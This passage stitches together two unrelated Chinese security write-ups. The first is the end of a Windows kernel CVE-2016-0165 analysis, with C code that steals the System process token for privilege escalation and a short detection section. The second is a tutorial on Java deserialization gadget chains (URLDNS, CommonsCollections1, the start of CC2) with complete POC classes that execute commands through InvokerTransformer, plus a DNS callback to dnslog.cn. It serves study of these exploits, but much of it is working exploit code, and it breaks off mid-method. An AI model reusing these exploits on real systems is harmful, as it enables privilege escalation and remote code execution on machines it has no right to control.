`ActiveProcessLinks` 成员域首地址就可以计算出 `EPROCESS` 的基地址。判断当前遍历到的 `EPROCESS` 对象
`UniqueProcessId` 成员域的值是否和当前进程的进程 ID 相等，如果相等就定位到了当前进程的 `EPROCESS` 节点。
DWORD_PTR
xxGetTarPROCESS(DWORD_PTR SysPROC)
{
if (SysPROC == 0x00)
{
return 0x00;
}
DWORD_PTR point = SysPROC;
DWORD_PTR value = 0x00;
do
{
value = 0x00;
xxPointToGet(point + off_EPROCESS_UniqueProId, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
if (value == GetCurrentProcessId())
{
return point;
}
value = 0x00;
xxPointToGet(point + off_EPROCESS_ActiveLinks, &value, sizeof(DWORD_PTR));
if (value == 0x00)
{
break;
}
point = value - off_EPROCESS_ActiveLinks;
if (point == SysPROC)
{
break;
}
} while (TRUE);
return 0x00;
}
清单 6-4 根据 System 进程获取当前进程 EPROCESS 的验证代码
获取到了 `System` 进程和当前进程的 `EPROCESS` 对象的地址，接下来就是对 `Token` 的替换了。有两种方法可选：一是将当前进程
`EPROCESS` 中存储的 `Token` 指针替换为 `System` 进程的 `Token` 指针，二是将当前进程 `EPROCESS` 的成员
`Token` 指针指向的 `Token` 块中的数据替换成 `System` 进程拥有的 `Token` 块的数据。在本分析中选择前一种方法。
进程 `EPROCESS` 对象的 `Token` 成员域是一个 `_EX_FAST_REF` 类型的成员，定义如下：
kd> dt _EX_FAST_REF
ntdll!_EX_FAST_REF
+0x000 Object : Ptr32 Void
+0x000 RefCnt : Pos 0, 3 Bits
+0x000 Value : Uint4B
数值的低 `3` 位表示引用计数，去除低 `3` 位数值后的 `32` 位完整数值指向实际表示的内存地址。
`Token`
结构中存储与当前进程相关的安全令牌的数据内容，如用户安全标识符（`Sid`），特权级（`Privileges`）等，代表当前进程作为访问者角色访问其他被访问对象时，访问权限和身份校验的依据。当前的
`System` 进程的 `Token` 结构块的数据如下：
kd> !token 89a01270
_TOKEN 0xffffffff89a01270
TS Session ID: 0
User: S-1-5-18
User Groups:
00 S-1-5-32-544
Attributes - Default Enabled Owner
01 S-1-1-0
Attributes - Mandatory Default Enabled
02 S-1-5-11
Attributes - Mandatory Default Enabled
03 S-1-16-16384
Attributes - GroupIntegrity GroupIntegrityEnabled
Primary Group: S-1-5-18
Privs:
02 0x000000002 SeCreateTokenPrivilege Attributes -
03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes -
...
33 0x000000021 SeIncreaseWorkingSetPrivilege Attributes - Enabled Default
34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default
35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default
Authentication ID: (0,3e7)
Impersonation Level: Anonymous
TokenType: Primary
Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use )
Token ID: 3ea ParentToken ID: 0
Modified ID: (0, 3eb)
RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000
OriginatingLogonSession: 0
清单 6-5 System 进程的 Token 结构块的数据
在这里由于在提权完成后会将 `Token` 值替换回去，所以暂不关注 `Token` 指针的引用计数的增减。
BOOL
xxModifyTokenPointer(DWORD_PTR dstPROC, DWORD_PTR srcPROC)
{
if (dstPROC == 0x00 || srcPROC == 0x00)
{
return FALSE;
}
// get target process original token pointer
xxPointToGet(dstPROC + off_EPROCESS_Token, &dstToken, sizeof(DWORD_PTR));
if (dstToken == 0x00)
{
return FALSE;
}
// get system process token pointer
xxPointToGet(srcPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
if (srcToken == 0x00)
{
return FALSE;
}
// modify target process token pointer to system
xxPointToHit(dstPROC + off_EPROCESS_Token, &srcToken, sizeof(DWORD_PTR));
// just test if the modification is successful
DWORD_PTR tmpToken = 0x00;
xxPointToGet(dstPROC + off_EPROCESS_Token, &tmpToken, sizeof(DWORD_PTR));
if (tmpToken != srcToken)
{
return FALSE;
}
return TRUE;
}
清单 6-6 将目标进程 Token 指针替换为源进程 Token 指针的验证代码
提权成功后创建新的命令提示符进程作为后续行为执行进程，将 `Token` 替换回原来的值以保证释放进程 `Token`
时不会发生异常，当前进程的任务就完成了。接下来进行后续的善后操作，随后进程正常退出。
在新启动的命令提示符进程中使用 `whoami` 命令测试进程权属，可以观测到新启动的进程已属于 `System` 用户特权执行：
图 6-2 启动的命令提示符进程已属于 System 用户特权
#### 0x7 检测
根据该漏洞的利用机理，可实现代码对利用该漏洞的样本文件进行检测。该漏洞利用的检测逻辑相对比较简单，编写内核驱动程序并对在漏洞触发关键位置插入陷阱帧，将相关寄存器的值以参数的形式传入陷阱帧处理函数中，并在处理函数中判断寄存器的值是否满足漏洞触发条件。
本分析中使用的环境是 32 位 Windows 7 SP1 基础环境，其 `win32k` 模块的版本为
`6.1.7601.17514`。分配缓冲区内存之前的漏洞关键位置的汇编指令：
.text:00073FEA lea eax, [ecx+1]
.text:00073FED imul eax, 28h
.text:00073FF0 test eax, eax
.text:00073FF2 jz short loc_7400A
.text:00073FF4 push 6E677247h ; Tag
.text:00073FF9 push eax ; NumberOfBytes
.text:00073FFA push 21h ; PoolType
.text:00073FFC call ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
清单 7-1 漏洞关键位置的汇编指令
检测逻辑以如下的伪代码做简单说明：
ULONG tmp = ecx;
tmp++;
if (tmp < ecx)
{
// hit vuln exploit
}
if ((ULONG)(tmp * 0x28) < tmp)
{
// hit vuln exploit
}
清单 7-2 检测逻辑的伪代码
命中条件之后对命中的上下文相关数据依照个人意愿进行记录或传输。命中记录的示例：
图 7-1 漏洞命中的检测记录示例
#### 0x8 链接
[0] 本分析的 POC 下载
<https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2016-0165/x86.cpp>
[1] GDI Data Types
<https://docs.microsoft.com/zh-cn/windows-hardware/drivers/display/gdi-data-types>
[2] Windows GDI
<https://msdn.microsoft.com/en-us/library/windows/desktop/dd145203(v=vs.85).aspx>
[3] GDI Objects
<https://msdn.microsoft.com/en-us/library/windows/desktop/ms724291(v=vs.85).aspx>
[4] MS16-039 - "Windows 10" 64 bits Integer Overflow exploitation by using GDI
objects
<https://www.coresecurity.com/blog/ms16-039-windows-10-64-bits-integer-overflow-exploitation-by-using-gdi-objects>
[5] Abusing GDI for ring0 exploit primitives
<https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives>
[6] The Big Trick Behind Exploit MS12-034
<https://www.coresecurity.com/blog/the-big-trick-behind-exploit-ms12-034>
[7] windows_kernel_address_leaks
<https://github.com/sam-b/windows_kernel_address_leaks>
[8] Pool Feng-Shui –> Pool Overflow
<https://rootkits.xyz/blog/2017/11/kernel-pool-overflow/>
[9] Kernel Pool Exploitation on Windows 7
<https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf>
[10] SURFOBJ structure
<https://msdn.microsoft.com/en-us/library/windows/hardware/ff569901(v=vs.85).aspx>
[11] THE BMP FILE FORMAT
<http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm>
[12] Microsoft 安全公告 MS16-039 - 严重
<https://technet.microsoft.com/library/security/ms16-039>
* * * | 社区文章 |
# URLDNS链&CommonsCollections链详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在学习`java`安全时，`ysoserial`项目是一个非常值得的项目，这里记录一下自己学习过程中的思路及反序列化链的构造方式。
## Java反射知识
### 定义
Java 反射机制可以可以无视类方法、变量去访问权限修饰符（如：protected、private
等），并且可以调用任意类的任何方法、访问并修改成员变量值。
### 反射的定义
反射是 Java 的特征之一，反射的存在使运行中的 Java 够获取自身信息，并且可以操作类或对象的内部属性。
通过反射可以在运行时获得程序或程序集中每一个类型的成员和成员信息；Java 的反射机制亦是如此，在运行状态中，通过 Java
的反射机制，能够判断一个对象的任意方法和属性。
### 反射的基本运用
**获取类对象**
**forName() 方法**
当要使用 Class 类中的方法获取类对象时，就需要使用 forName() 方法，只需要有类名称即可，在配置 JDBC 中通常采用这种方法。
**.class 方法**
任何数据类型都具备静态的属性，因此可以使用 `.class` 直接获取其对应的 Class 对象，使用这种方法时需要明确用到类中的静态成员。
**getClass() 方法**
可以通过 Object 类中的 `getCLass()` 方法来获取字节码，使用这种方法时必须明确具体的类，然后创建对象。
**getSystemClassLoad().loadClass() 方法**
`getSystemClassLoad().loadClass()` 方法与 `forName()` 方法类似，只要有类名即可；但是，`forName()`
的静态方法 JVM 会装载类，并且执行 `static()` 中的代码，而 `getSystemClassLoad().loadClass()` 不会执行
`ststic()` 中的代码。
例如 JDBC 中就是利用 `forName()` 方法，使 JVM 查找并加载制定的类到内存中，此时将 `com.mysql.jdbc.Driver`
当作参数传入就是让 JVM 去 `com.mysql.jdbc` 路径下查找 `Driver` 类，并将其加载到内存中。
**获取类方法**
**getDeclaredMethods 方法**
该方法返回类或接口声明的所有方法，包括 public、private 以及默认方法，但不包括继承的方法。
**getMethods 方法**
getMethods 方法返回某个类的所有 public 方法，包括其继承类的 public 方法。
**getMethod 方法**
getMethod 方法只能返回一个特定的方法，例如返回 Runtime 类中的 exec()
方法，该方法的第一个参数为方法名称，后面的参数为方法的参数对应 Class 的对象。
**getDeclaredMethod 方法**
该方法与 getMethod 方法类似，也只能返回一个特定的方法，该方法的第一个参数为方法名，第二个参数名是方法参数。
**获取类成员变量**
先创建一个 Student 类：
public class Student {
private String id;
private String name;
private String age;
public String content;
protected String address;
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return age;
}
public void setAge(String age) {
this.age = age;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public String getAddress() {
return address;
}
public void setAddress(String address) {
this.address = address;
}
}
**getDeclaredFields 方法**
getDeclaredFields 方法能够获得类的成员变量数组包括 public、private 和 protected，但是不包括父类的声明字段。
**getFields 方法**
getFields 方法能够获取某个类的所有 public 字段，包括父类中的字段。
**getDeclaredField 方法**
该方法与 getDeclaredFields 方法的区别是只能获得类的单个成员变量。
## URLDNS链
### 前言
`URLDNS`是`ysoserial`中的一条利用链，通常用于检测是否存在`Java`反序列化漏洞，该利用链具有如下特点：
[1] URLDNS 利用链只能发起 DNS 请求，并不能进行其它利用
[2] 不限制 jdk 版本，使用 Java 内置类，对第三方依赖没有要求
[3] 目标无回显，可以通过 DNS 请求来验证是否存在反序列化漏洞
### 原理
`java.util.HashMap`实现了`Serializable`接口，重写了`readObject`,
在反序列化时会调用`hash`函数计算`key`的`hashCode`，而`java.net.URL`的`hashCode`在计算时会调用`getHostAddress`来解析域名,
从而发出`DNS`请求。
### 分析过程
这里跟着`ysoserial`项目中`URLDNS`的`Gadget`来分析
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
先跟进`HashMap`，看看其自己实现的`readObject()`函数，这里通过`for`循环来将`HashMap`中存储的`key`通过`K key
= (K) s.readObject();`来进行反序列化，在这之后调用`putVal()`和`hash()`函数。
跟进`hash()`函数看看是如何实现的，当`key!=null`时会调用`hashCode()`函数。
跟进`hashCode()`函数，由于在`ysoserial`中的`URLDNS`是利用`URL`对象，于是跟进`Java`基本类`URL`中关于`hashCode()`的部分`java/net/URL.java`，由于`hashCode`的值默认为`-1`，因此会执行`hashCode
= handler.hashCode(this);`。
看看`handler.hashCode()`函数是如何实现的，这里利用一个`Demo`代码来调试看看。
import java.net.URL;
public class URLDemo {
public static void main(String[] args) throws Exception {
URL url = new URL("http://6ppzw1.dnslog.cn");
url.hashCode();
}
}
先看看请求之后的结果，成功触发了`DNS`请求，来看看是如何实现的。
调试跟进`java/net/URLStreamHandler.java`中的`hashCode()`函数，可以看到这里调用了一个函数`getHostAddress()`来进行`DNS`解析返回对应的`IP`。
在`ysoserial`中是通过`put()`函数来触发的，其实这一步的实现和前面的是一样的，都是通过`hash()`函数来实现的。
但是上面的分析过程仿佛和反序列化并没有什么关联，其实当`HashMap`传入一个`URL`对象时，会进行一次`DNS`解析，并且`HashMap`实现了`Serializable`接口，重写了`readObject`，也就是说当一个`Java`应用存在反序列化漏洞时，可以通过传入一个序列化后的`HashMap`数据(将`URL`对象作为`key`放入`HashMap`中)，当传入的数据到达该`Java`应用的反序列化漏洞点时，这时程序就会调用`HashMap`重写的`readObject()`函数来反序列化读取数据，进而触发`key.hashCode()`函数进行一次`DNS`解析。
### ysoserial 项目代码分析
在`ysoserial`项目中`URLDNS`的代码并没有这么简单，还有一些其他的代码段，来看看这些”多余的”代码的用处是啥。
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
这里通过继承`URLStreamHandler`类，重写`openConnection()`和`getHostAddress()`函数，而这里重写的目的在于:
`HashMap#put`时也会调用`getHostAddress()`函数进行一次`DNS`解析，这里就是通过重写的`getHostAddress()`函数来覆盖掉原函数，从而使其不进行`DNS`解析，避免在`Payload`在创建的时候进行`DNS`解析。
代码`Reflections.setFieldValue(u, "hashCode",
-1);`中的`setFieldValue()`函数是`ysoserial`项目自定义的一个反射类中的函数。
public class Reflections {
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
上述代码通过反射来设置`URL`类的`hashCode`的值为`-1`，这是因为在`HashMap#put`时已经调用过一次`hashCode()`函数，`hashCode`的值会改变不再为`-1`，这样会导致在下一步经过`HashMap`的`readObject()`函数反序列化时直接返回`hashCode`的值，不再调用`handler.hashCode(this)`，因此利用反射来将`hashCode`的值设为`-1`，最后利用`PayloadRunner.run()`来进行反序列化。
### POC链
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
public class URLDemo {
public static void main(String[] args) throws Exception {
Date nowTime = new Date();
HashMap hashmap = new HashMap();
URL url = new URL("http://lttx9f.dnslog.cn");
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
Field filed = Class.forName("java.net.URL").getDeclaredField("hashCode");
filed.setAccessible(true); // 绕过Java语言权限控制检查的权限
filed.set(url, 209);
hashmap.put(url, 209);
System.out.println("当前时间为: " + simpleDateFormat.format(nowTime));
filed.set(url, -1);
try {
FileOutputStream fileOutputStream = new FileOutputStream("./dnsser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./dnsser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
从请求结果中可以看出，在`Payload`生成阶段并没有发起`DNS`解析，而是在后续反序列化过程中进行的请求。
## CommonsCollections 介绍
[Apache Commons Collections](https://commons.apache.org/proper/commons-collections/index.html)是一个扩展了`Java`标准库里的`Collection`结构的第三方基础库，它提供了很多强有力的数据结构类型并实现了各种集合工具类，被广泛运用于各种`Java`应用的开发，目前常说的存在缺陷的版本是`Apache
Commons Collections 3.2.1`以下（4.0版本也是存在的）
## CommonsCollections1链
### 环境搭建
1. `JDK`版本：JDK1.8u66（要求JDK8u71以下）
2. `Commons-Collections`版本：3.1
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
</project>
### 前置知识
在`Commons
Collections`库中提供了一个抽象类`org.apache.commons.collections.map.AbstractMapDecorator`，这个类是`Map`的扩展，且是一个基础的装饰器，用来给`Map`提供附加功能，这个类有很多实现类，且每个类的触发方式也都是不一样的，在`Commons-Collections1`链中需要重点关注`TransformedMap`类和`LazyMap`类。
**Transformer**
`org.apache.commons.collections.Transformer`是一个接口，提供了一个`transform()`方法，用来定义具体的转换逻辑，方法接收`Object`类型的`input`，处理后将`Object`返回，在`Commons-Collection`中，程序提供了多个`Transformer`的实现类，用来实现不同的`TransformedMap`类中`key、value`进行修改的功能。
**TransformedMap**
`org.apache.commons.collections.map.TransformedMap`类可以在一个元素被加入到集合内时自动对该元素进行特定的修饰变换，在`decorate()`方法中，第一个参数为修饰的`Map`类，第二个参数和第三个参数作为一个实现`Transformer`接口的类，用来转换修饰的`Map`的键、值（为`null`时不进行转换）；因此，当被修饰的`map`添加新元素的时候便会触发这两个类的`transform`方法。
**LazyMap**
`org.apache.commons.collections.map.LazyMap`与`TransformedMap`类似，区别在于当`LazyMap`调用`get()`方法时如果传入的`key`不存在，则会触发相应参数的`Transformer`的`transform()`方法。
补充一下：与`LazyMap`具有相同功能的还有`org.apache.commons.collections.map.DefaultedMap`，同样也是`get()`方法会触发`transform()`方法。
**ConstantTransformer**
`org.apache.commons.collections.functors.ConstantTransformer`是一个返回固定常量的`Transformer`，在初始化时储存了一个`Object`，后续的调用时会直接返回这个`Object`，这个类用于和`ChainedTransformer`配合，将其结果传入`InvokerTransformer`来调用我们指定的类的指定方法。
**InvokerTransformer**
这是一个实现类，在`Commons-Collections 3.0`引入，利用反射来创建一个新的对象。
demo 代码：
import org.apache.commons.collections.functors.InvokerTransformer;
public class InvokerTransformerDemo {
public static void main(String[] args) {
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"});
invokerTransformer.transform(Runtime.getRuntime());
}
}
**ChainedTransformer**
`org.apache.commons.collections.functors.ChainedTransformer`类也是一个`Transformer`的实现类，但是这个类自己维护了一个`Transformer`数组，在调用`ChainedTransformer`类的`transform`方法时会循环数组，依次调用`Transformer`数组中每个`Transformer`的`transform`方法，并将结果传递给下一个`Transformer`，在这样的处理机制下，可以链式调用多个`Transformer`来分别处理对象。
demo 代码：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class ChainedTransformerDemo {
public static void main(String[] args) throws ClassNotFoundException{
// Transformer 数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
// ChainedTransformer 实例
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform("ChainedTransformerDemo");
}
}
### Commons-Collections1-TransformedMap 分析
利用`TransformedMap`的`decorate`方法来将`ChainedTransformer`设置为`map`装饰器的处理方法，调用`TransformedMap`的`put()/setValue()`等方法时会触发`Transformer`链的调用方法。
寻找一个重写了`readObject`的类，在反序列化时可以改变`map`的值，定位到`sun.reflect.annotation.AnnotationInvocationHandler`类，这个类实现了`InvocationHandler`接口
(原本是用于`JDK`对于注解形式的动态代理)。
`AnnotationInvocationHandler`类的构造方法有两个参数，第一个参数是`Annotation`实现类的`Class`对象，第二个参数是一个`key`为`String`、`value`为`Object`的`Map`，需要注意的是，构造方法会对`var1`进行判断，当且仅当`var1`只有一个父接口且为`Annotation.class`时，才会将两个参数初始化在成员属性`type`和`memberValues`中。
接着看看`AnnotationInvocationHandler`类重写的`readObject`方法，首先调用`AnnotationType.getInstance(this.type)`方法来获取`type`这个注解类对应的`AnnotationType`的对象，然后获取其`memberTypes`属性，这个属性是个`Map`，存放这个注解中可以配置的值，接着循环`this.memberValues`这个`Map`来获取其`Key`，如果注解类的`memberTypes`属性中存在与`this.memberValues`的`key`相同的属性，并且取得的值不是`ExceptionProxy`的实例也不是`memberValues`中值的实例，则取得其值并调用`setValue`方法写入值。
根据上面的分析过程，构造`Payload`的思路基本就没啥问题了。
[1] 构造 AnnotationInvocationHandler 实例，传入一个注解类和一个 Map，这个 Map 的 key 中要具有注解类中存在的属性并且值不是对应的实例和 ExceptionProxy 对象
[2] 这个 Map 用 TransformedMap 进行封装，并且调用自定义的 ChainedTransformer 进行装饰
[3] ChainedTransformer 中写入多个 Transformer 实现类来进行链式调用从而达到恶意操作
**POC**
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsTransformedMap {
public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, InvocationTargetException {
Transformer[] transformer = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
Map hashMap = new HashMap();
hashMap.put("value", "d1no");
Map transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> h3rmesk1t = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = h3rmesk1t.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(invocationHandler);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
### Commons-Collections1-LazyMap 分析
核心点在`LazyMap#get`，`LazyMap`在没有`key`时会尝试调用`this.factory.transform`方法，而`this.factory`可以指定为`Transformer`对象，而且`transform`方法参数会被忽略掉，因此只需要寻找一个调用了`LazyMap.get`的方法。
这里`AnnotationInvocationHandler`类的`invoke()`方法可以触发`this.memberValues`来调用`get`方法，从而触发`LazyMap#get`。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsLazyMap {
public static void main(String[] ars) throws ClassNotFoundException ,InstantiationException, IllegalAccessException, InvocationTargetException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a /System/Applications/Calculator.app"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map LazyMap = org.apache.commons.collections.map.LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> h3rmesk1t = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = h3rmesk1t.getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, LazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(org.apache.commons.collections.map.LazyMap.class.getClassLoader(), org.apache.commons.collections.map.LazyMap.class.getInterfaces(), invocationHandler);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy);
try {
// 序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(handler);
objectOutputStream.close();
// 反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
### 调用链
AnnotationInvocationHandler.readObject()
*Map(Proxy).entrySet()
*AnnotationInvocationHandler.invoke()
LazyMap.get()/TransformedMap.setValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
### 总结
利用`AnnotationInvocationHandler`在反序列化时会触发`Map`的`get/set`等操作，配合`TransformedMap/LazyMap`在执行`Map`对象的操作时会根据不同情况调用`Transformer`的转换方法，最后结合了`ChainedTransformer`的链式调用、`InvokerTransformer`的反射执行完成了恶意调用链的构成，其中`LazyMap`的触发还用到了动态代理机制。
## CommonsCollections2链
### 环境搭建
1. `JDK`版本：JDK1.8u66
2. `Commons-Collections4`版本：4.0
3. `javassit`版本：`3.25.0-GA`
利用`maven`来进行搭建，先创建一个`Maven`项目，不用选择任何`Maven`模板，`pom.xml`中内容如下，之后选择右侧的更新，让其自动导入包即可。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>commons-collections</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
</project>
### 前置知识
**PriorityQueue**
`PriorityQueue`优先级队列是基于优先级堆的一种特殊队列，它给每个元素定义“优先级”，这样取出数据的时候会按照优先级来取，默认情况下，优先级队列会根据自然顺序对元素进行排序；因此放入`PriorityQueue`的元素必须实现`Comparable`接口，`PriorityQueue`会根据元素的排序顺序决定出队的优先级，如果没有实现`Comparable`接口，`PriorityQueue`还允许提供一个`Comparator`对象来判断两个元素的顺序，`PriorityQueue`支持反序列化，在重写的`readObject`方法中将数据反序列化到`queue`中之后，会调用`heapify()`方法来对数据进行排序。
在`heapify()`方法中又会调用`siftDown()`方法，在`comparator !=
null`下会调用`siftDownUsingComparator()`方法，在`siftDownUsingComparator()`方法中会调用`comparator`的`compare()`方法来进行优先级的比较和排序。
**TransformingComparator**
`TransformingComparator`类似`TransformedMap`，用`Tranformer`来装饰一个`Comparator`，待比较的值将先使用`Tranformer`转换，再传递给`Comparator`比较，`TransformingComparator`初始化时配置`Transformer`和`Comparator`，如果不指定`Comparator`则使用`ComparableComparator.<Comparable>comparableComparator()`。
在调用`TransformingComparator`的`compare`方法时，调用了`this.transformer.transform()`方法对要比较的两个值进行转换，然后再调用`compare`方法比较。
在`PriorrityQueue`中最后会通过`comparator`的`compare()`方法来进行优先级的比较和排序，这里可以通过调用`TransformingComparator`中的`transform()`方法来和之前连接起来。
**Javassist**
`Java`字节码以二进制的形式存储在`.class`文件中，每一个`.class`文件包含一个`Java`类或接口，`Javaassist`就是一个用来处理`Java`字节码的类库，它可以在一个已经编译好的类中添加新的方法，或者是修改已有的方法，并且不需要对字节码方面有深入的了解，同时也可以去生成一个新的类对象，通过完全手动的方式。
**TemplatesImpl**
`TemplatesImpl`的属性`_bytecodes`存储了类字节码，`TemplatesImpl`类的部分方法可以使用这个类字节码去实例化这个类，这个类的父类需是`AbstractTranslet`，在这个类的无参构造方法或静态代码块中写入恶意代码，再借`TemplatesImpl`之手实例化这个类触发恶意代码。
### Commons-Collections2 分析
先跟进`PriorityQueue#readObject`，其`queue`的值来自于`readObject()`方法，是可控的，循环完成后会调用`heapify()`方法。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
